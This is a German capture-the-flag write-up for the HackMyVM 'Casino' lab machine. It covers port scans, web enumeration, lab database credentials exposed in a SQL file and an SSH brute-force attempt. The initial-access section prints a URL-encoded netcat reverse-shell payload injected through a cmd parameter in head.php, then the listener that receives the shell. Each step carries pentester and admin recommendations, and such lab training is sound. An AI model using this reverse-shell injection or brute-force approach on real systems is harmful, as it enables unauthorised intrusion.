Casino - HackMyVM - Level: Medium - Bericht

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Verwendete Tools

arp-scan
vi
nmap
nikto
curl
mysql
hydra
gobuster
wget
exiftool
dirb
nc (netcat)
cat
ls
find
ss
uname
getcap

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:...., IPv4: 192.168.2.137
192.168.2.113	08:00:27:46:bf:13	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Geräte im lokalen Netzwerksegment mittels ARP-Anfragen zu identifizieren. Es antwortet ein Gerät mit der IP-Adresse `192.168.2.113` und der MAC-Adresse `08:00:27:46:bf:13`.

Bewertung: Das Zielsystem wurde erfolgreich im Netzwerk identifiziert. Die MAC-Adresse (`08:00:27:...`) weist erneut auf eine VirtualBox-Umgebung hin (PCS Systemtechnik GmbH ist der OUI für VirtualBox).

Empfehlung (Pentester): Fügen Sie die IP-Adresse einem Hostnamen (z.B. `casino.hmv`) in der `/etc/hosts`-Datei hinzu, um die weitere Arbeit zu erleichtern. Führen Sie anschließend einen Portscan mit Nmap auf die Ziel-IP durch.
Empfehlung (Admin): Netzwerksegmentierung und Überwachung auf ARP-Scans können die Aufklärungsphase erschweren. Dynamische ARP-Inspektion auf Switches kann helfen, ARP-basierte Angriffe zu verhindern.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
127.0.0.1	localhost
192.168.2.113	   casino.hmv

Analyse: Die Datei `/etc/hosts` auf dem Angreifer-System wird mit dem Texteditor `vi` bearbeitet. Der Eintrag `192.168.2.113 casino.hmv` wird hinzugefügt. Dies ermöglicht es, das Zielsystem fortan über den Hostnamen `casino.hmv` anstelle der IP-Adresse anzusprechen.

Bewertung: Eine sinnvolle Maßnahme zur Vereinfachung der weiteren Befehlseingabe und Lesbarkeit der Logs.

Empfehlung (Pentester): Verwenden Sie ab sofort den Hostnamen `casino.hmv` für Scans und Zugriffsversuche.
Empfehlung (Admin): Dies ist eine lokale Konfiguration auf dem Angreifer-System und hat keine direkten defensiven Implikationen für das Zielsystem.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -sV -T5 -AO 192.168.2.113 -p- | grep open
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))

Analyse: Ein Nmap-Scan wird auf das Ziel `192.168.2.113` durchgeführt. * `-sS`: TCP SYN Scan (Stealth Scan). * `-sC`: Führt Standard-Nmap-Skripte aus. * `-sV`: Versucht, die Version der laufenden Dienste zu ermitteln. * `-T5`: Sehr aggressives Timing für schnellen Scan. * `-A`: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute (entspricht `-O -sV -sC --traceroute`). * `-p-`: Scannt alle 65535 TCP-Ports. * `| grep open`: Filtert die Ausgabe, um nur offene Ports anzuzeigen. Der Scan identifiziert Port 22 (SSH) mit OpenSSH 9.2p1 und Port 80 (HTTP) mit Apache 2.4.57 als offen.

Bewertung: Der Scan war erfolgreich und zeigt die primären Angriffsvektoren: SSH und HTTP. Die Versionsinformationen sind nützlich für die Suche nach bekannten Schwachstellen.

Empfehlung (Pentester): Untersuchen Sie den Webserver auf Port 80 genauer (Web Enumeration). Überprüfen Sie die SSH-Konfiguration (z.B. erlaubte Authentifizierungsmethoden) und suchen Sie nach potenziellen Benutzernamen/Passwörtern.
Empfehlung (Admin): Halten Sie SSH-Server und Webserver aktuell. Konfigurieren Sie SSH sicher (z.B. Deaktivierung der Root-Anmeldung, Verwendung von Schlüssel-Authentifizierung statt Passwörtern). Implementieren Sie eine Firewall, um nur notwendige Ports freizugeben. Nutzen Sie IDS/IPS zur Erkennung aggressiver Scans.

Web Enumeration

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -sV -T5 -AO 192.168.2.113 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-28 14:03 CEST
Nmap scan report for casino.hmv (192.168.2.113)
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
|   256 3b:20:d0:ba:e2:7a:8a:01:8a:35:3b:52:08:b0:c6:a8 (ECDSA)
|_  256 74:76:0a:61:d4:2c:9b:45:36:00:4d:c8:d8:be:0b:89 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Binary Bet Casino
|_http-server-header: Apache/2.4.57 (Debian)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
MAC Address: 08:00:27:46:BF:13 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms casino.hmv (192.168.2.113)

Nmap done: 1 IP address (1 host up) scanned in 15.01 seconds

Analyse: Dies ist der gleiche Nmap-Scan wie zuvor, jedoch ohne `| grep open`, sodass die vollständige Ausgabe der Nmap-Skripte (`-sC`, `-A`) sichtbar wird. * SSH (Port 22): Zeigt die Host-Schlüssel (ECDSA, ED25519). * HTTP (Port 80): * Titel der Webseite: "Binary Bet Casino". * Server-Header bestätigt Apache/2.4.57 (Debian). * Das `http-cookie-flags`-Skript stellt fest, dass das `PHPSESSID`-Cookie *nicht* das `HttpOnly`-Flag gesetzt hat. Dies macht das Cookie potenziell anfällig für Diebstahl durch Cross-Site-Scripting (XSS). * OS-Erkennung: Schätzt Linux Kernel 4.15 - 5.8.

Bewertung: Der Scan liefert zusätzliche Details. Die fehlende `HttpOnly`-Flagge ist eine geringfügige Schwachstelle, die in Kombination mit XSS relevant werden könnte. Die OS-Informationen bestätigen ein relativ modernes Linux-System.

Empfehlung (Pentester): Behalten Sie die fehlende `HttpOnly`-Flagge im Hinterkopf, falls XSS-Schwachstellen gefunden werden. Konzentrieren Sie sich auf die weitere Enumeration der Webanwendung.
Empfehlung (Admin): Setzen Sie das `HttpOnly`-Flag für alle Session-Cookies in der PHP-Konfiguration (`session.cookie_httponly = 1` in `php.ini`) oder Anwendungslogik, um das Risiko von Session-Hijacking durch XSS zu reduzieren.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.113
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.113
+ Target Hostname:    192.168.2.113
+ Target Port:        80
+ Start Time:         2023-06-28 14:03:28 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.57 (Debian)
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /database.sql: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ /imgs/: Directory indexing found.
+ /imgs/: This might be interesting.
+ /database.sql: Database SQL found.
+ /styles/: Directory indexing found.
+ 8101 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2023-06-28 14:03:40 (GMT2) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: `nikto -h 192.168.2.113` führt einen Webserver-Scan durch, um nach bekannten Schwachstellen, Fehlkonfigurationen und interessanten Dateien/Verzeichnissen zu suchen. Wichtige Funde: * Bestätigt fehlende HTTP-Sicherheitsheader (`HttpOnly`, `X-Frame-Options`, `X-Content-Type-Options`). * **`/database.sql`:** Eine SQL-Datei, die wahrscheinlich Datenbankstruktur oder -daten enthält. Sehr kritisch! * **`/config.php`:** Eine PHP-Konfigurationsdatei, die oft Zugangsdaten enthält. Kritisch! * `/imgs/` und `/styles/`: Verzeichnisauflistung (Directory Indexing) ist aktiviert, was zusätzliche Informationen preisgeben kann.

Bewertung: Nikto hat extrem wertvolle Informationen geliefert. Die Dateien `/database.sql` und `/config.php` sind potenzielle Goldgruben für Zugangsdaten oder andere sensible Informationen. Die aktivierte Verzeichnisauflistung ist ebenfalls eine schlechte Praxis.

Empfehlung (Pentester): Laden Sie sofort den Inhalt von `/database.sql` und `/config.php` herunter und analysieren Sie ihn (z.B. mit `curl http://casino.hmv/database.sql`). Untersuchen Sie die Inhalte der Verzeichnisse `/imgs/` und `/styles/`.
Empfehlung (Admin): Entfernen Sie sensible Dateien wie `/database.sql` und `/config.php` aus dem Web-Root oder beschränken Sie den Zugriff darauf (z.B. über `.htaccess`). Deaktivieren Sie die Verzeichnisauflistung in der Apache-Konfiguration (`Options -Indexes`). Implementieren Sie die fehlenden HTTP-Sicherheitsheader (`Header set X-Frame-Options "SAMEORIGIN"`, `Header set X-Content-Type-Options "nosniff"`, `session.cookie_httponly = 1`).

┌──(root㉿cyber)-[~] └─# curl http://casino.hmv/database.sql
CREATE USER 'casino_admin'@'localhost' IDENTIFIED BY 'IJustWantToBeRichBaby420';
CREATE DATABASE IF NOT EXISTS casino;
GRANT ALL PRIVILEGES ON casino.* TO 'casino_admin'@'localhost';
FLUSH PRIVILEGES;

USE casino;
CREATE TABLE users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  user VARCHAR(50) NOT NULL,
  pass VARCHAR(255) NOT NULL,
  money INT UNSIGNED NOT NULL
);

Analyse: Der Befehl `curl` wird verwendet, um den Inhalt der von Nikto gefundenen Datei `/database.sql` herunterzuladen. Die Datei enthält SQL-Befehle.

Bewertung: Kritischer Fund! Die SQL-Datei enthält: * Die Anmeldedaten für einen MySQL-Benutzer: `casino_admin` mit dem Passwort `IJustWantToBeRichBaby420`. * Die Struktur der Datenbank `casino` und der Tabelle `users` (mit Spalten für `user`, `pass`, `money`). Obwohl der Benutzer `casino_admin` nur für Verbindungen von `localhost` konfiguriert ist, sind diese Zugangsdaten extrem wertvoll.

Empfehlung (Pentester): Versuchen Sie, sich mit diesen Zugangsdaten bei anderen Diensten anzumelden (z.B. SSH, falls Benutzer `casino_admin` existiert). Falls initialer Zugriff auf das System erlangt wird, verwenden Sie diese Zugangsdaten, um auf die lokale MySQL-Datenbank zuzugreifen.
Empfehlung (Admin): Entfernen Sie diese SQL-Datei sofort vom Webserver. Verwenden Sie starke, einzigartige Passwörter für Datenbankbenutzer. Beschränken Sie den Zugriff auf die Datenbank auf das Notwendigste. Erwägen Sie die Verwendung von Umgebungsvariablen oder sichereren Konfigurationsmanagement-Tools anstelle von Klartext-Passwörtern in Dateien.

┌──(root㉿cyber)-[~] └─# mysql -u casino_admin -h casino.hmv -p
Enter password: [Passwort IJustWantToBeRichBaby420 eingegeben]
ERROR 2002 (HY000): Can't connect to server on 'casino.hmv' (115)

Analyse: Es wird versucht, sich von außen (vom Angreifer-System) mit dem MySQL-Client auf die Datenbank des Zielsystems (`casino.hmv`) zu verbinden. Dabei werden die zuvor in `database.sql` gefundenen Zugangsdaten (`casino_admin` und `IJustWantToBeRichBaby420`) verwendet.

Bewertung: Der Verbindungsversuch schlägt fehl (`ERROR 2002 (HY000): Can't connect to server`). Dies ist erwartet, da der SQL-Befehl `CREATE USER 'casino_admin'@'localhost'` den Zugriff für diesen Benutzer explizit auf Verbindungen von `localhost` (also vom Zielsystem selbst) beschränkt.

Empfehlung (Pentester): Der direkte externe Zugriff auf die Datenbank ist nicht möglich. Die Zugangsdaten sind jedoch weiterhin wertvoll für einen späteren Zugriff von innerhalb des Systems (nach Erlangung einer Shell).
Empfehlung (Admin): Die Konfiguration, den Datenbankzugriff auf `localhost` zu beschränken, ist eine gute Sicherheitspraxis. Stellen Sie sicher, dass der Datenbankdienst (Port 3306) nicht unnötig von außen erreichbar ist (Firewall).

┌──(root㉿cyber)-[~] └─# hydra -l casino_admin -P /usr/share/wordlists/rockyou.txt ssh://casino.hmv:22 -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-28 14:07:38
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344404 login tries (l:1/p:14344404), ~224132 tries per task
[DATA] attacking ssh://casino.hmv:22/
[ERROR] target ssh://192.168.2.113:22/ does not support password authentication (method reply 4).

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-28 14:08:15

Analyse: Es wird versucht, mit `hydra` einen Brute-Force-Angriff auf den SSH-Dienst (Port 22) durchzuführen. Als Benutzername wird `casino_admin` (aus der `database.sql`) verwendet, und als Passwortliste dient `rockyou.txt`.

Bewertung: Der Angriff schlägt sofort fehl. Die Fehlermeldung `[ERROR] target ssh://192.168.2.113:22/ does not support password authentication` zeigt, dass der SSH-Server auf dem Zielsystem keine Passwort-Authentifizierung erlaubt. Wahrscheinlich ist nur Schlüssel-Authentifizierung aktiviert.

Empfehlung (Pentester): Brute-Force-Angriffe auf SSH mit Passwörtern sind hier sinnlos. Konzentrieren Sie sich auf die Webanwendung oder suchen Sie nach anderen Wegen, um SSH-Schlüssel oder gültige Benutzernamen zu finden.
Empfehlung (Admin): Die Deaktivierung der Passwort-Authentifizierung für SSH (`PasswordAuthentication no` in `/etc/ssh/sshd_config`) ist eine sehr gute Sicherheitspraxis und hat diesen Angriff verhindert. Stellen Sie sicher, dass dies konsistent durchgesetzt wird.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://casino.hmv -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://casino.hmv
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.5
[+] Expanded:                true
[+] Extensions:              txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak
[+] No error logging:        true
[+] Timeout:                 10s
===============================================================
2023/06/28 15:55:01 Starting gobuster
===============================================================
/index.php            (Status: 200) [Size: 1138]
/register.php         (Status: 200) [Size: 1347]
/template.html        (Status: 200) [Size: 1170]
/imgs                 (Status: 301) [Size: 307] [--> http://casino.hmv/imgs/]
/database.sql         (Status: 200) [Size: 363]
/js                   (Status: 301) [Size: 305] [--> http://casino.hmv/js/]
/logout.php           (Status: 302) [Size: 0] [--> /index.php]
/config.php           (Status: 200) [Size: 0]        
/casino               (Status: 301) [Size: 309] [--> http://casino.hmv/casino/]
/styles               (Status: 301) [Size: 309] [--> http://casino.hmv/styles/]
/robots.txt           (Status: 200) [Size: 12]
/restricted.php       (Status: 302) [Size: 0] [--> ../index.php]
Progress: 220544 / 220561 (99.99%)===============================================================
2023/06/28 15:58:33 Finished
===============================================================

Analyse: Ein `gobuster`-Scan wird durchgeführt, um Verzeichnisse und Dateien auf dem Webserver zu finden. Eine sehr lange Liste von Erweiterungen (`-x ...`) wird verwendet, und Statuscodes 403 (Forbidden) und 404 (Not Found) werden ignoriert (`-b '403,404'`). Wichtige Funde (teilweise schon durch Nikto bekannt): * `index.php`, `register.php`: Standardseiten, Login/Registrierung untersuchen. * `template.html`: Könnte Hinweise auf die Struktur geben. * `imgs`, `js`, `styles`: Verzeichnisse (bestätigt Verzeichnisauflistung). * `database.sql`, `config.php`: Bereits bekannte kritische Dateien. `config.php` wird hier mit Größe 0 gemeldet, was im Widerspruch zum späteren `cat`-Befehl steht - möglicherweise ein Fehler im Scan oder Timing-Problem. * `logout.php`: Standardfunktionalität. * `/casino`: Ein Unterverzeichnis, das weiter untersucht werden sollte. * `robots.txt`: Könnte Hinweise auf erlaubte/verbotene Pfade geben. * `restricted.php`: Name deutet auf Zugriffsbeschränkungen hin, leitet aber um.

Bewertung: Der Scan bestätigt frühere Funde und entdeckt zusätzliche Pfade wie `/casino` und `register.php`. Die Meldung `Size: 0` für `config.php` sollte mit Vorsicht genossen werden.

Empfehlung (Pentester): Untersuchen Sie das `/casino`-Verzeichnis und die Registrierungsfunktion (`register.php`). Laden Sie `robots.txt` herunter. Versuchen Sie trotz der Meldung `Size: 0`, `config.php` erneut mit `curl` abzurufen.
Empfehlung (Admin): Wie zuvor: Sensible Dateien entfernen/schützen, Verzeichnisauflistung deaktivieren. Überprüfen Sie die Notwendigkeit aller gefundenen Dateien und Verzeichnisse.

http://casino.hmv/casino/index.php            (Status: 302) [Size: 0] [--> ../index.php]
http://casino.hmv/casino/games                (Status: 301) [Size: 315] [--> http://casino.hmv/casino/games/]
http://casino.hmv/casino/games.php            (Status: 302) [Size: 0] [--> ../index.php]
http://casino.hmv/casino/head.php             (Status: 302) [Size: 0] [--> ../index.php]
http://casino.hmv/casino/instructions.txt

Analyse: Diese Ausgabe zeigt Ergebnisse aus dem Unterverzeichnis `/casino`. Viele Dateien leiten auf `../index.php` um, was auf eine Zugriffsbeschränkung (möglicherweise Session-basiert) hindeutet. Die Dateien `head.php` und `instructions.txt` werden gefunden.

Bewertung: `head.php` ist interessant, da PHP-Dateien oft Schwachstellen enthalten. `instructions.txt` könnte Informationen über die Funktionsweise der Anwendung liefern.

Empfehlung (Pentester): Laden Sie `instructions.txt` herunter. Untersuchen Sie `head.php` auf mögliche Schwachstellen (z.B. LFI, RCE), auch wenn sie umleitet (die Umleitung erfolgt möglicherweise erst nach der Verarbeitung von Parametern).
Empfehlung (Admin): Stellen Sie sicher, dass Zugriffsbeschränkungen korrekt implementiert sind und nicht umgangen werden können. Überprüfen Sie den Code von `head.php` auf Sicherheit.

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WIN 10.000$ => WIN A TEDDY BEAR
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Intructions [sic]

- CUPS
The player tries to guess which of three cups hides a small ball.
The cups are shuffled, and the player must select the correct one
to win. The player wins or losess [sic] the same amount he bets.

- GUN
The player presses the "Shoot" button. There is a 1/6 chance of losing.
In that case, the player's money is multiplied by 0.15. Otherwise, the
player's money is multiplied by 1.5.

- Dice
The player places a bet on whether the value of the sum of two dice will
be less than, equal to or greater than 7.


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||//$\\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\//$\\||
||(100)==================| FEDERAL RESERVE NOTE |================(100)||
||\\$//        ~         '------========--------'                \\$//||
||<< /        /$\              // ____ \\                         \ >>||
||>>|  12    //L\\            // ///..) \\         L38036133B   12 |<<||
||<<|        \\ //           || <||  >\  ||                        |>>|| 
||>>|         \$/            ||  $$ --/  ||        One Hundred     |<<||
||<<|      L38036133B        *\\  |\_/  //* series                 |>>||
||>>|  12                     *\\/___\_//*   1989                  |<<||
||<<\      Treasurer     ______/Franklin\________     Secretary 12 />>|| 
||//$\                 ~|UNITED STATES OF AMERICA|~               /$\\||
||(100)===================  ONE HUNDRED DOLLARS =================(100)||
||\\$//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\$//||
||====================================================================||

Analyse: Der Inhalt der Datei `instructions.txt`. Sie beschreibt die Regeln für drei Spiele (Cups, Gun, Dice) und enthält ASCII-Art eines Geldscheins.

Bewertung: Bietet Kontext zur Webanwendung, aber keine direkten Hinweise auf Schwachstellen. Die Beschreibung des "Gun"-Spiels (Geld wird multipliziert) könnte auf logische Fehler oder Integer-Overflow-Schwachstellen hindeuten, falls man genug Geld gewinnen kann.

Empfehlung (Pentester): Behalten Sie die Spielmechanik im Hinterkopf, falls Sie sich später in die Anwendung einloggen können. Konzentrieren Sie sich vorerst auf das Finden einer initialen Zugriffsmöglichkeit.
Empfehlung (Admin): Sicherstellen, dass die Spiellogik serverseitig validiert wird und keine Manipulation oder unerwartetes Verhalten (wie Integer Overflows) möglich ist.

┌──(root㉿cyber)-[~] └─# wget http://casino.hmv/imgs/background.jpg
--2023-06-28 16:16:05--  http://casino.hmv/imgs/background.jpg
Auflösen des Hostnamens casino.hmv (casino.hmv)… 192.168.2.113
Verbindungsaufbau zu casino.hmv (casino.hmv)|192.168.2.113|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 22265 (22K) [image/jpeg]
Wird in »background.jpg« gespeichert.

background.jpg          100%[===========================>]  21,74K  --.-KB/s    in 0s      

2023-06-28 16:16:05 (462 MB/s) - »background.jpg« gespeichert [22265/22265]

Analyse: Die Hintergrundbilddatei `background.jpg` aus dem `/imgs`-Verzeichnis wird heruntergeladen.

Bewertung: Standardaktion zur Untersuchung von Inhalten. Bilddateien können manchmal Metadaten oder versteckte Informationen enthalten.

Empfehlung (Pentester): Untersuchen Sie die heruntergeladene Datei mit Tools wie `exiftool` oder `strings` auf versteckte Informationen.
Empfehlung (Admin): Bereinigen Sie Metadaten aus öffentlich zugänglichen Bildern, falls diese sensible Informationen enthalten könnten.

┌──(root㉿cyber)-[~] └─# exiftool background.jpg
ExifTool Version Number         : 12.57
File Name                       : background.jpg
Directory                       : .
File Size                       : 22 kB
File Modification Date/Time     : 2023:06:09 13:49:54+02:00
File Access Date/Time           : 2023:06:28 16:16:05+02:00
File Inode Change Date/Time     : 2023:06:28 16:16:05+02:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Exif Byte Order                 : Little-endian (Intel, II)
Modify Date                     : 2014:05:16 10:54:07
Image Width                     : 250
Image Height                    : 250
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 1
Image Size                      : 250x250
Megapixels                      : 0.062

Analyse: `exiftool` wird verwendet, um die Metadaten der Datei `background.jpg` zu extrahieren.

Bewertung: Die Metadaten enthalten keine offensichtlich nützlichen oder versteckten Informationen (keine Kommentare, GPS-Daten, Copyright-Hinweise mit Benutzernamen etc.).

Empfehlung (Pentester): Die Datei scheint keine verwertbaren Informationen zu enthalten. Konzentrieren Sie sich auf andere Angriffsvektoren.
Empfehlung (Admin): Die Metadaten sind hier unbedenklich.

┌──(root㉿cyber)-[~] └─# dirb http://casino.hmv/
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Wed Jun 28 16:28:40 2023
URL_BASE: http://casino.hmv/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://casino.hmv/ ----
==> DIRECTORY: http://casino.hmv/imgs/                                                       
+ http://casino.hmv/index.php (CODE:200|SIZE:1138)
==> DIRECTORY: http://casino.hmv/js/                                                         
+ http://casino.hmv/robots.txt (CODE:200|SIZE:12)
+ http://casino.hmv/server-status (CODE:403|SIZE:275)
==> DIRECTORY: http://casino.hmv/styles/                                                     

---- Entering directory: http://casino.hmv/imgs/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://casino.hmv/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://casino.hmv/styles/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Wed Jun 28 16:28:43 2023
DOWNLOADED: 4612 - FOUND: 3

Analyse: Ein weiterer Verzeichnis-Scan wird mit `dirb` und der Standard-Wortliste `common.txt` durchgeführt. `dirb` prüft nur auf Verzeichnisse und einige Standarddateien.

Bewertung: Dieser Scan findet weniger als der vorherige `gobuster`-Scan, da er eine kleinere Wortliste verwendet und keine spezifischen Dateierweiterungen sucht. Er bestätigt die bereits bekannten Verzeichnisse (`imgs`, `js`, `styles`) und die `index.php` sowie `robots.txt`. Der Fund `server-status` (Code 403 Forbidden) ist interessant, deutet aber darauf hin, dass der Zugriff darauf (noch) nicht erlaubt ist.

Empfehlung (Pentester): Der `gobuster`-Scan war umfassender. Notieren Sie sich `/server-status` als potenzielles Ziel, falls später Zugriffsberechtigungen geändert werden oder eine Fehlkonfiguration gefunden wird.
Empfehlung (Admin): Beschränken Sie den Zugriff auf `/server-status` und `/server-info` in der Apache-Konfiguration auf vertrauenswürdige IP-Adressen oder deaktivieren Sie sie ganz, wenn nicht benötigt.

Initial Access (LFI & Shell)

Kontext: Der folgende Abschnitt beschreibt die Ausnutzung einer Schwachstelle (vermutlich Local File Inclusion - LFI) in der Datei `/casino/head.php`, um eine Reverse Shell zu erhalten. Der genaue LFI-Parameter wird nicht gezeigt, aber die Payload deutet darauf hin, dass der `cmd`-Parameter zur Ausführung von Shell-Befehlen missbraucht wird, was eher auf Command Injection oder eine Webshell hindeutet, die über LFI inkludiert wird.

Payload: http://192.168.2.111/casino/head.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.2.137%205555%20%3E%2Ftmp%2Ff
                     

Analyse der Payload-URL: * `http://192.168.2.111/casino/head.php`: Ziel-URL, die die verwundbare Datei `head.php` im Verzeichnis `/casino` anspricht. Die IP `192.168.2.111` ist hier wahrscheinlich ein Tippfehler und sollte `192.168.2.113` (casino.hmv) sein. * `?cmd=...`: Übergibt einen Befehl über den URL-Parameter `cmd`. * `rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.2.137%205555%20%3E%2Ftmp%2Ff`: Dies ist derselbe URL-kodierte Bash-Reverse-Shell-Payload wie im vorherigen Bericht, nur mit anderer Angreifer-IP (`192.168.2.137`) und anderem Port (`5555`). Dekodiert: `rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.2.137 5555 > /tmp/f`.

Bewertung: Dies beschreibt den Versuch, über eine Schwachstelle in `head.php` (vermutlich Command Injection oder LFI einer Webshell) eine Reverse Shell zu erlangen.

Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf dem Angreifer-System (`192.168.2.137`) auf Port `5555`. Rufen Sie die Payload-URL (mit korrigierter Ziel-IP `192.168.2.113`) auf, um die Shell auszulösen.
Empfehlung (Admin): Untersuchen Sie `head.php` dringend auf Command Injection oder LFI-Schwachstellen und beheben Sie diese. Validieren und sanitisieren Sie alle Benutzereingaben (insbesondere URL-Parameter). Implementieren Sie eine WAF.

┌──(root㉿cyber)-[~] └─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.137] from (UNKNOWN) [192.168.2.113] 59798 
/bin/sh: 0: can't access tty; job control turned off
$ 

Analyse: Auf dem Angreifer-System (`192.168.2.137`) wird ein Netcat-Listener auf Port `5555` gestartet. Kurz darauf geht eine Verbindung vom Zielsystem (`192.168.2.113`) ein. Eine einfache Shell (`$`) wird als Benutzer `www-data` (impliziert durch den Kontext und spätere Befehle) erhalten.

Bewertung: Initialer Zugriff erfolgreich! Die Schwachstelle in `head.php` wurde ausgenutzt, um eine Reverse Shell als Webserver-Benutzer (`www-data`) zu erlangen.

Empfehlung (Pentester): Stabilisieren Sie die Shell (z.B. `python3 -c 'import pty; pty.spawn("/bin/bash")'`). Beginnen Sie mit der Enumeration des Systems als `www-data`. Suchen Sie nach Konfigurationsdateien, Passwörtern und Wegen zur Privilegienerweiterung.
Empfehlung (Admin): Wie zuvor: Schwachstelle in `head.php` beheben. Egress-Filtering implementieren, um Reverse Shells zu blockieren. Berechtigungen des `www-data`-Benutzers minimieren.

www-data@casino:/var/www/html$ cat config.php

$servername = "localhost";
$username = "casino_admin";
$password = "IJustWantToBeRichBaby420";
$dbname = "casino";

$conn = new mysqli($servername, $username, $password, $dbname);

// Verificar la conexión
if ($conn->connect_error) {  
    die("CACACULOPEDOPIS" . $conn->connect_error); 
}

// Configurar el juego de caracteres
$conn->set_charset("utf8"); 

Analyse: Aus der erhaltenen Shell wird die Datei `config.php` im Web-Root-Verzeichnis (`/var/www/html`) ausgelesen. Diese Datei wurde zuvor von Nikto und Gobuster gefunden.

Bewertung: Bestätigt den Fund der Datenbank-Zugangsdaten (`casino_admin`:`IJustWantToBeRichBaby420`) nun direkt aus der Konfigurationsdatei. Dies bestätigt auch, dass der Gobuster-Scan bezüglich der Dateigröße (`Size: 0`) falsch lag.

Empfehlung (Pentester): Nutzen Sie diese Zugangsdaten, um auf die lokale MySQL-Datenbank zuzugreifen, wie bereits zuvor empfohlen.
